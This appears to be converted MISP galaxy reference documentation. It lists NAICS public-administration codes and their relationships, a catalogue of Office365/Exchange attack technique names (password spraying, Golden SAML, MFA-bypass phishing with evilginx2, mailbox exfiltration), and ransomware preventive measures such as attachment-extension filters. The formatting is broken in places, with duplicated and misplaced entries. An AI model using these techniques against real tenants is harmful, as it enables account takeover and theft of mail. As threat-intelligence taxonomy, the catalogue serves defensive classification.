- parent-of: `misp-galaxy:naics="921190"` with estimative-language:likelihood-probability="likely"

92111
Executive Offices
The tag is: `misp-galaxy:naics="92111"`

**View relationships graph**

92111 has relationships with:

- child-of: `misp-galaxy:naics="9211"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="921110"` with estimative-language:likelihood-probability="likely"

### 921110

Executive Offices

The tag is: `misp-galaxy:naics="921110"`

**View relationships graph**

921110 has relationships with:

- child-of: `misp-galaxy:naics="9211"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="92111"` with estimative-language:likelihood-probability="likely"

### 92112

Legislative Bodies

The tag is: `misp-galaxy:naics="92112"`

**View relationships graph**

92112 has relationships with:

- child-of: `misp-galaxy:naics="9211"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="921120"` with estimative-language:likelihood-probability="likely"

### 921120

Legislative Bodies

The tag is: `misp-galaxy:naics="921120"`

**View relationships graph**

921120 has relationships with:

- child-of: `misp-galaxy:naics="9211"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="92112"` with estimative-language:likelihood-probability="likely"
92113

Public Finance Activities

The tag is: misp-galaxy:naics="92113"

View relationships graph

92113 has relationships with:

• child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="921130" with estimative-language:likelihood-probability="likely"

921130

Public Finance Activities

The tag is: misp-galaxy:naics="921130"

View relationships graph

921130 has relationships with:

• child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="92113" with estimative-language:likelihood-probability="likely"

92114

Executive and Legislative Offices, Combined

The tag is: misp-galaxy:naics="92114"

View relationships graph

92114 has relationships with:

• child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="921140" with estimative-language:likelihood-probability="likely"

921140

Executive and Legislative Offices, Combined

The tag is: misp-galaxy:naics="921140"

View relationships graph

921140 has relationships with:
American Indian and Alaska Native Tribal Governments

The tag is: `misp-galaxy:naics="92115"`

View relationships graph

92115 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="921150" with estimative-language:likelihood-probability="likely"

American Indian and Alaska Native Tribal Governments

The tag is: `misp-galaxy:naics="921150"`

View relationships graph

921150 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92115" with estimative-language:likelihood-probability="likely"

Other General Government Support

The tag is: `misp-galaxy:naics="92119"`

View relationships graph

92119 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="921150" with estimative-language:likelihood-probability="likely"

Other General Government Support

The tag is: `misp-galaxy:naics="921190"`
921190 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92119" with estimative-language:likelihood-probability="likely"

922

Justice, Public Order, and Safety Activities

The tag is: misp-galaxy:naics="922"

9221

Justice, Public Order, and Safety Activities

The tag is: misp-galaxy:naics="9221"
92211
Courts
The tag is: misp-galaxy:naics="92211"
View relationships graph
92211 has relationships with:
• child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="922110" with estimative-language:likelihood-probability="likely"

922110
Courts
The tag is: misp-galaxy:naics="922110"
View relationships graph
922110 has relationships with:
• child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="92211" with estimative-language:likelihood-probability="likely"

92212
Police Protection
The tag is: misp-galaxy:naics="92212"
View relationships graph
92212 has relationships with:
• child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="922120" with estimative-language:likelihood-probability="likely"

922120
Police Protection
The tag is: misp-galaxy:naics="922120"
View relationships graph
922120 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92212" with estimative-language:likelihood-probability="likely"

92213

Legal Counsel and Prosecution

The tag is: misp-galaxy:naics="92213"

View relationships graph

92213 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="922130" with estimative-language:likelihood-probability="likely"

922130

Legal Counsel and Prosecution

The tag is: misp-galaxy:naics="922130"

View relationships graph

922130 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92213" with estimative-language:likelihood-probability="likely"

92214

Correctional Institutions

The tag is: misp-galaxy:naics="92214"

View relationships graph

92214 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="922140" with estimative-language:likelihood-probability="likely"
The tag is: misp-galaxy:naics="922140"

View relationships graph

922140 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92214" with estimative-language:likelihood-probability="likely"

92215

Parole Offices and Probation Offices

The tag is: misp-galaxy:naics="92215"

View relationships graph

92215 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="922150" with estimative-language:likelihood-probability="likely"

922150

Parole Offices and Probation Offices

The tag is: misp-galaxy:naics="922150"

View relationships graph

922150 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92215" with estimative-language:likelihood-probability="likely"

92216

Fire Protection

The tag is: misp-galaxy:naics="92216"

View relationships graph

92216 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="922160" with estimative-language:likelihood-probability="likely"
922160
Fire Protection
The tag is: misp-galaxy:naics="922160"
View relationships graph
922160 has relationships with:
• child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="92216" with estimative-language:likelihood-probability="likely"

92219
Other Justice, Public Order, and Safety Activities
The tag is: misp-galaxy:naics="92219"
View relationships graph
92219 has relationships with:
• child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="922190" with estimative-language:likelihood-probability="likely"

922190
Other Justice, Public Order, and Safety Activities
The tag is: misp-galaxy:naics="922190"
View relationships graph
922190 has relationships with:
• child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="922190" with estimative-language:likelihood-probability="likely"

923
Administration of Human Resource Programs
The tag is: misp-galaxy:naics="923"
View relationships graph
923 has relationships with:
9231
Administration of Human Resource Programs

The tag is: \textit{misp-galaxy:naics="9231"}

View relationships graph

9231 has relationships with:

- child-of: \textit{misp-galaxy:naics="923" with estimative-language:likelihood-probability="likely"}

92311
Administration of Education Programs

The tag is: \textit{misp-galaxy:naics="92311"}

View relationships graph

92311 has relationships with:

- child-of: \textit{misp-galaxy:naics="923" with estimative-language:likelihood-probability="likely"}

923110
Administration of Education Programs

The tag is: \textit{misp-galaxy:naics="923110"}

View relationships graph

923110 has relationships with:
92312
Administration of Public Health Programs
The tag is: misp-galaxy:naics="92312"
View relationships graph
92312 has relationships with:
  • child-of: misp-galaxy:naics="9231" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="92311" with estimative-language:likelihood-probability="likely"

923120
Administration of Public Health Programs
The tag is: misp-galaxy:naics="923120"
View relationships graph
923120 has relationships with:
  • child-of: misp-galaxy:naics="9231" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="92312" with estimative-language:likelihood-probability="likely"

92313
Administration of Human Resource Programs (except Education, Public Health, and Veterans' Affairs Programs)
The tag is: misp-galaxy:naics="92313"
View relationships graph
92313 has relationships with:
  • child-of: misp-galaxy:naics="9231" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="92312" with estimative-language:likelihood-probability="likely"

923130
Administration of Human Resource Programs (except Education, Public Health, and Veterans' Affairs Programs)
The tag is: `misp-galaxy:naics="923130"`

View relationships graph

923130 has relationships with:

- child-of: `misp-galaxy:naics="9231"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="92313"` with estimative-language:likelihood-probability="likely"

92314

Administration of Veterans' Affairs

The tag is: `misp-galaxy:naics="92314"`

View relationships graph

92314 has relationships with:

- child-of: `misp-galaxy:naics="9231"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="923140"` with estimative-language:likelihood-probability="likely"

923140

Administration of Veterans' Affairs

The tag is: `misp-galaxy:naics="923140"`

View relationships graph

923140 has relationships with:

- child-of: `misp-galaxy:naics="9231"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="92314"` with estimative-language:likelihood-probability="likely"

924

Administration of Environmental Quality Programs

The tag is: `misp-galaxy:naics="924"`

View relationships graph

924 has relationships with:

- child-of: `misp-galaxy:naics="92"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="9241"` with estimative-language:likelihood-probability="likely"
9241
Administration of Environmental Quality Programs
The tag is: misp-galaxy:naics="9241"

View relationships graph

9241 has relationships with:

• child-of: misp-galaxy:naics="924" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="92411" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="924110" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="92412" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="924120" with estimative-language:likelihood-probability="likely"

92411
Administration of Air and Water Resource and Solid Waste Management Programs
The tag is: misp-galaxy:naics="92411"

View relationships graph

92411 has relationships with:

• child-of: misp-galaxy:naics="9241" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="924110" with estimative-language:likelihood-probability="likely"

924110
Administration of Air and Water Resource and Solid Waste Management Programs
The tag is: misp-galaxy:naics="924110"

View relationships graph

924110 has relationships with:

• child-of: misp-galaxy:naics="9241" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="924110" with estimative-language:likelihood-probability="likely"

92412
Administration of Conservation Programs
The tag is: misp-galaxy:naics="92412"
92412 has relationships with:

- child-of: misp-galaxy:naics="9241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="924120" with estimative-language:likelihood-probability="likely"

924120
Administration of Conservation Programs
The tag is: misp-galaxy:naics="924120"

925 has relationships with:

- child-of: misp-galaxy:naics="9241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92412" with estimative-language:likelihood-probability="likely"

925 has relationships with:

- child-of: misp-galaxy:naics="92" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="9251" with estimative-language:likelihood-probability="likely"

9251 has relationships with:

- child-of: misp-galaxy:naics="925" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92512" with estimative-language:likelihood-probability="likely"
92511
Administration of Housing Programs
The tag is: `misp-galaxy:naics="92511"`
View relationships graph
92511 has relationships with:
- child-of: `misp-galaxy:naics="9251"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="925110"` with estimative-language:likelihood-probability="likely"

925110
Administration of Housing Programs
The tag is: `misp-galaxy:naics="925110"`
View relationships graph
925110 has relationships with:
- child-of: `misp-galaxy:naics="9251"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="92511"` with estimative-language:likelihood-probability="likely"

92512
Administration of Urban Planning and Community and Rural Development
The tag is: `misp-galaxy:naics="92512"`
View relationships graph
92512 has relationships with:
- child-of: `misp-galaxy:naics="9251"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="925120"` with estimative-language:likelihood-probability="likely"

925120
Administration of Urban Planning and Community and Rural Development
The tag is: `misp-galaxy:naics="925120"`
View relationships graph
925120 has relationships with:

- child-of: misp-galaxy:naics="9251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92512" with estimative-language:likelihood-probability="likely"

926

Administration of Economic Programs

The tag is: misp-galaxy:naics="926"

View relationships graph

926 has relationships with:

- child-of: misp-galaxy:naics="92" with estimative-language:likelihood-probability="likely"

9261

Administration of Economic Programs

The tag is: misp-galaxy:naics="9261"

View relationships graph

9261 has relationships with:

- child-of: misp-galaxy:naics="926" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="926120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="926130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92614" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="926140" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92615" with estimative-language:likelihood-probability="likely"

92611

Administration of General Economic Programs
The tag is: `misp-galaxy:naics="92611"`

**View relationships graph**

92611 has relationships with:

- child-of: `misp-galaxy:naics="9261"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="926110"` with estimative-language:likelihood-probability="likely"

### 926110

Administration of General Economic Programs

The tag is: `misp-galaxy:naics="926110"`

**View relationships graph**

926110 has relationships with:

- child-of: `misp-galaxy:naics="9261"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="92611"` with estimative-language:likelihood-probability="likely"

### 92612

Regulation and Administration of Transportation Programs

The tag is: `misp-galaxy:naics="92612"`

**View relationships graph**

92612 has relationships with:

- child-of: `misp-galaxy:naics="9261"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="926120"` with estimative-language:likelihood-probability="likely"

### 926120

Regulation and Administration of Transportation Programs

The tag is: `misp-galaxy:naics="926120"`

**View relationships graph**

926120 has relationships with:

- child-of: `misp-galaxy:naics="9261"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="92612"` with estimative-language:likelihood-probability="likely"
92613
Regulation and Administration of Communications, Electric, Gas, and Other Utilities
The tag is: misp-galaxy:naics="92613"

View relationships graph

92613 has relationships with:

• child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="926130" with estimative-language:likelihood-probability="likely"

926130
Regulation and Administration of Communications, Electric, Gas, and Other Utilities
The tag is: misp-galaxy:naics="926130"

View relationships graph

926130 has relationships with:

• child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="92613" with estimative-language:likelihood-probability="likely"

92614
Regulation of Agricultural Marketing and Commodities
The tag is: misp-galaxy:naics="92614"

View relationships graph

92614 has relationships with:

• child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="926140" with estimative-language:likelihood-probability="likely"

926140
Regulation of Agricultural Marketing and Commodities
The tag is: misp-galaxy:naics="926140"

View relationships graph

926140 has relationships with:
92615
Regulation, Licensing, and Inspection of Miscellaneous Commercial Sectors
The tag is: misp-galaxy:naics="92615"
View relationships graph
92615 has relationships with:

- child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92614" with estimative-language:likelihood-probability="likely"

926150
Regulation, Licensing, and Inspection of Miscellaneous Commercial Sectors
The tag is: misp-galaxy:naics="926150"
View relationships graph
926150 has relationships with:

- child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92615" with estimative-language:likelihood-probability="likely"

927
Space Research and Technology
The tag is: misp-galaxy:naics="927"
View relationships graph
927 has relationships with:

- child-of: misp-galaxy:naics="92" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="9271" with estimative-language:likelihood-probability="likely"

9271
Space Research and Technology
The tag is: misp-galaxy:naics="9271"
View relationships graph

9271 has relationships with:

- child-of: misp-galaxy:naics="927" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="927110" with estimative-language:likelihood-probability="likely"

92711

Space Research and Technology

The tag is: misp-galaxy:naics="92711"

View relationships graph

92711 has relationships with:

- child-of: misp-galaxy:naics="9271" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="927110" with estimative-language:likelihood-probability="likely"

927110

Space Research and Technology

The tag is: misp-galaxy:naics="927110"

View relationships graph

927110 has relationships with:

- child-of: misp-galaxy:naics="9271" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92711" with estimative-language:likelihood-probability="likely"

928

National Security and International Affairs

The tag is: misp-galaxy:naics="928"

View relationships graph

928 has relationships with:

- child-of: misp-galaxy:naics="92" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="9281" with estimative-language:likelihood-probability="likely"
9281
National Security and International Affairs
The tag is: misp-galaxy:naics="9281"

View relationships graph

9281 has relationships with:

- child-of: misp-galaxy:naics="928" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="928110" with estimative-language:likelihood-probability="likely"

92811
National Security
The tag is: misp-galaxy:naics="92811"

View relationships graph

92811 has relationships with:

- child-of: misp-galaxy:naics="9281" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="928110" with estimative-language:likelihood-probability="likely"

928110
National Security
The tag is: misp-galaxy:naics="928110"

View relationships graph

928110 has relationships with:

- child-of: misp-galaxy:naics="9281" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92811" with estimative-language:likelihood-probability="likely"

92812
International Affairs
The tag is: misp-galaxy:naics="92812"
92812 has relationships with:

- child-of: misp-galaxy:naics="9281" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="928120" with estimative-language:likelihood-probability="likely"

**928120**

International Affairs

The tag is: misp-galaxy:naics="928120"

**o365-exchange-techniques**

o365-exchange-techniques - Office365/Exchange related techniques by @johnLaTwC and @inversecos.

o365-exchange-techniques is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

John Lambert - Alexandre Dulaunoy - Lina Lau - Thomas Patzke

**AAD - Dump users and groups with Azure AD**

AAD - Dump users and groups with Azure AD

The tag is: misp-galaxy:cloud-security="AAD - Dump users and groups with Azure AD"

**AAD - PowerShell**

AAD - PowerShell

The tag is: misp-galaxy:cloud-security="AAD - PowerShell"
AAD - Enumerate Domains
AAD - Enumerate Domains
The tag is: misp-galaxy:cloud-security="AAD - Enumerate Domains"

AAD - Enumerate Users
AAD - Enumerate Users
The tag is: misp-galaxy:cloud-security="AAD - Enumerate Users"

O365 - Get Global Address List: MailSniper
O365 - Get Global Address List: MailSniper
The tag is: misp-galaxy:cloud-security="O365 - Get Global Address List: MailSniper"

O365 - Find Open Mailboxes: MailSniper
O365 - Find Open Mailboxes: MailSniper
The tag is: misp-galaxy:cloud-security="O365 - Find Open Mailboxes: MailSniper"

O365 - User account enumeration with ActiveSync
O365 - User account enumeration with ActiveSync
The tag is: misp-galaxy:cloud-security="O365 - User account enumeration with ActiveSync"

End Point - Search host for Azure Credentials: SharpCloud
End Point - Search host for Azure Credentials: SharpCloud
The tag is: misp-galaxy:cloud-security="End Point - Search host for Azure Credentials: SharpCloud"

On-Prem Exchange - Portal Recon
On-Prem Exchange - Portal Recon
The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Portal Recon"
On-Prem Exchange - Enumerate domain accounts: using Skype4B
The tag is: `misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: using Skype4B"`

On-Prem Exchange - Enumerate domain accounts: OWA & Exchange
The tag is: `misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: OWA & Exchange"`

On-Prem Exchange - Enumerate domain accounts: FindPeople
The tag is: `misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: FindPeople"`

On-Prem Exchange - OWA version discovery
The tag is: `misp-galaxy:cloud-security="On-Prem Exchange - OWA version discovery"`

Bruteforce via OWA
The tag is: `misp-galaxy:cloud-security="Bruteforce via OWA"`

Bruteforce EWS
The tag is: `misp-galaxy:cloud-security="Bruteforce EWS"`

Bruteforce OAuth
The tag is: `misp-galaxy:cloud-security="Bruteforce OAuth"`
The tag is: misp-galaxy:cloud-security="Bruteforce OAuth"

Bruteforce via AAD Sign in Form

Bruteforce via AAD Sign in Form

The tag is: misp-galaxy:cloud-security="Bruteforce via AAD Sign in Form"

Bruteforce through Autologon API

Bruteforce through Autologon API

The tag is: misp-galaxy:cloud-security="Bruteforce through Autologon API"

AAD - Password Spray: MailSniper

AAD - Password Spray: MailSniper

The tag is: misp-galaxy:cloud-security="AAD - Password Spray: MailSniper"

AAD - Password Spray: CredKing

AAD - Password Spray: CredKing

The tag is: misp-galaxy:cloud-security="AAD - Password Spray: CredKing"

O365 - Bruteforce of Autodiscover: SensePost Ruler

O365 - Bruteforce of Autodiscover: SensePost Ruler

The tag is: misp-galaxy:cloud-security="O365 - Bruteforce of Autodiscover: SensePost Ruler"

O365 - Phishing for credentials

O365 - Phishing for credentials

The tag is: misp-galaxy:cloud-security="O365 - Phishing for credentials"

O365 - Phishing using OAuth app

O365 - Phishing using OAuth app

The tag is: misp-galaxy:cloud-security="O365 - Phishing using OAuth app"

O365 - 2FA MITM Phishing: evilginx2

O365 - 2FA MITM Phishing: evilginx2

The tag is: misp-galaxy:cloud-security="O365 - 2FA MITM Phishing: evilginx2"
O365 - MFA Bypass via IMAP/POP

Compromising Pass-Through Authentication

Enumerate Users, Admins, Roles and Permissions

Enumerate MFA Settings

Golden SAML

On-Prem Exchange - Password Spray using Invoke-PasswordSprayOWA, EWS

On-Prem Exchange - Bruteforce of Autodiscover: SensePost Ruler
Change MFA Settings

The tag is: *misp-galaxy:cloud-security="Change MFA Settings"

Change Conditional Access Settings

The tag is: *misp-galaxy:cloud-security="Change Conditional Access Settings"

Malicious App Registrations

The tag is: *misp-galaxy:cloud-security="Malicious App Registrations"

Add Service Principal or App Credentials

The tag is: *misp-galaxy:cloud-security="Add Service Principal or App Credentials"

Add Service Principal

The tag is: *misp-galaxy:cloud-security="Add Service Principal"

Add Federation Trust

The tag is: *misp-galaxy:cloud-security="Add Federation Trust"

O365 - Add Mail forwarding rule

The tag is: *misp-galaxy:cloud-security="O365 - Add Mail forwarding rule"

Add Global admin account

The tag is: *misp-galaxy:cloud-security="Add Global admin account"
Add user account

End Point - Persistence throught Outlook Home Page: SensePost Ruler

End Point - Persistence throught custom Outlook form

Mailbox Rule Creation

Mailbox Folder Permissions

Mail Flow (Transport Rules)
O365 - MailSniper: Search Mailbox for credentials

The tag is: misp-galaxy:cloud-security="O365 - MailSniper: Search Mailbox for credentials"

O365 - Search for Content with eDiscovery

The tag is: misp-galaxy:cloud-security="O365 - Search for Content with eDiscovery"

O365 - Account Takeover: Add-MailboxPermission

The tag is: misp-galaxy:cloud-security="O365 - Account Takeover: Add-MailboxPermission"

O365 - Pivot to On-Prem host: SensePost Ruler

The tag is: misp-galaxy:cloud-security="O365 - Pivot to On-Prem host: SensePost Ruler"

O365 - Exchange Tasks for C2: MWR

The tag is: misp-galaxy:cloud-security="O365 - Exchange Tasks for C2: MWR"

O365 - Send Internal Email

The tag is: misp-galaxy:cloud-security="O365 - Send Internal Email"

On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)

The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)"
On-Prem Exchange - Delegation

The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Delegation"

O365 - MailSniper: Search Mailbox for content

The tag is: misp-galaxy:cloud-security="O365 - MailSniper: Search Mailbox for content"

O365 - Exfiltration email using EWS APIs with PowerShell

The tag is: misp-galaxy:cloud-security="O365 - Exfiltration email using EWS APIs with PowerShell"

Downgrade License

The tag is: misp-galaxy:cloud-security="Downgrade License"

Impersonate Users

The tag is: misp-galaxy:cloud-security="Impersonate Users"

Assign Administrative Role to Service Principal

The tag is: misp-galaxy:cloud-security="Assign Administrative Role to Service Principal"

Elevate to User Access Administrator Role

The tag is: misp-galaxy:cloud-security="Elevate to User Access Administrator Role"

eDiscovery Abuse

eDiscovery Abuse
The tag is: *misp-galaxy:cloud-security*="eDiscovery Abuse"

# O365 - Download documents, messages and email

O365 - Download documents, messages and email

The tag is: *misp-galaxy:cloud-security*="O365 - Download documents, messages and email"

## online-service

Known public online services..

online-service is a cluster galaxy available in JSON format at [this location](#). The JSON format can be freely reused in your application or automatically enabled in MISP.

### authors

MISP Project

## Notion

Your wiki, docs, & projects. Together. Notion is the connected workspace where better, faster work happens.

The tag is: *misp-galaxy:online-service*="Notion"

View relationships graph

Notion has relationships with:

- used-by: misp-galaxy:tool="SNOWYAMBER" with estimative-language:likelihood-probability="likely"

### Table 7282. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.notion.so/product">https://www.notion.so/product</a></td>
<td></td>
</tr>
</tbody>
</table>

## Preventive Measure

Preventive measures based on the ransomware document overview as published in [https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml#](https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml#). The preventive measures are quite generic and can fit any standard Windows infrastructure and their security measures..

Preventive Measure is a cluster galaxy available in JSON format at [this location](#). The JSON format can be freely reused in your application or automatically enabled.
authors

Various

**Backup and Restore Process**

Make sure to have adequate backup processes on place and frequently test a restore of these backups. (Schrödinger’s backup - it is both existent and non-existent until you’ve tried a restore)

The tag is: `misp-galaxy:preventive-measure="Backup and Restore Process"`

**Table 7283. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://windows.microsoft.com/en-us/windows/back-up-restore-faq">1TC=windows-7</a></td>
<td></td>
</tr>
</tbody>
</table>

**Block Macros**

Disable macros in Office files downloaded from the Internet. This can be configured to work in two different modes: A.) Open downloaded documents in ‘Protected View’ B.) Open downloaded documents and block all macros

The tag is: `misp-galaxy:preventive-measure="Block Macros"`

**Table 7284. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Disable WSH**

Disable Windows Script Host

The tag is: `misp-galaxy:preventive-measure="Disable WSH"`

**Table 7285. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Filter Attachments Level 1

Filter the following attachments on your mail gateway: .ade, .adp, .ani, .bas, .bat, .chm, .cmd, .com, .cpl, .crt, .exe, .hlp, .ht, .hta, .inf, .ins, .isp, .jar, .job, .js, .jse, .lnk, .mda, .mdb, .mde, .mdz, .msc, .msi, .msp, .mst, .ocx, .pdc, .ps1, .reg, .scr, .sct, .shs, .svg, .url, .vb, .vbe, .vbs, .wbk, .wsc, .ws, .wsf, .wsh, .exe, .pif, .pub

The tag is: misp-galaxy:preventive-measure="Filter Attachments Level 1"

Filter Attachments Level 2

Filter the following attachments on your mail gateway: (Filter expression of Level 1 plus) .doc, .xls, .rtf, .docm, .xlsm, .pptm

The tag is: misp-galaxy:preventive-measure="Filter Attachments Level 2"

Restrict program execution

Block all program executions from the %LocalAppData% and %AppData% folder

The tag is: misp-galaxy:preventive-measure="Restrict program execution"

Show File Extensions

Set the registry key "HideFileExt" to 0 in order to show all file extensions, even of known file types. This helps avoiding cloaking tricks that use double extensions. (e.g. "not_a_virus.pdf.exe")

The tag is: misp-galaxy:preventive-measure="Show File Extensions"

Enforce UAC Prompt

Enforce administrative users to confirm an action that requires elevated rights

The tag is: misp-galaxy:preventive-measure="Enforce UAC Prompt"
Remove Admin Privileges

Remove and restrict administrative rights whenever possible. Malware can only modify files that users have write access to.

The tag is: `misp-galaxy:preventive-measure="Remove Admin Privileges"`

Restrict Workstation Communication

Activate the Windows Firewall to restrict workstation to workstation communication

The tag is: `misp-galaxy:preventive-measure="Restrict Workstation Communication"`

Sandboxing Email Input

Using sandbox that opens email attachments and removes attachments based on behavior analysis

The tag is: `misp-galaxy:preventive-measure="Sandboxing Email Input"`

Execution Prevention

Software that allows to control the execution of processes - sometimes integrated in Antivirus software Free: AntiHook, ProcessGuard, System Safety Monitor

The tag is: `misp-galaxy:preventive-measure="Execution Prevention"`

Change Default "Open With" to Notepad

Force extensions primarily used for infections to open up in Notepad rather than Windows Script Host or Internet Explorer

The tag is: `misp-galaxy:preventive-measure="Change Default "Open With" to Notepad"

File Screening

Server-side file screening with the help of File Server Resource Manager

The tag is: `misp-galaxy:preventive-measure="File Screening"`
Restrict program execution #2

Block program executions (AppLocker)

The tag is: *misp-galaxy:preventive-measure="Restrict program execution #2"*

EMET

Detect and block exploitation techniques

The tag is: *misp-galaxy:preventive-measure="EMET"*

Sysmon

Detect Ransomware in an early stage with new Sysmon 5 File/Registry monitoring

The tag is: *misp-galaxy:preventive-measure="Sysmon"*

Blacklist-phone-numbers

Filter the numbers at phone routing level including PABX

The tag is: *misp-galaxy:preventive-measure="Blacklist-phone-numbers"*
## ACL

Restrict access to shares users should not be allowed to write to

The tag is: `misp-galaxy:preventive-measure="ACL"`

## Packet filtering

Limit access to a service by network/packet filtering the access to

The tag is: `misp-galaxy:preventive-measure="Packet filtering"`

## Ransomware

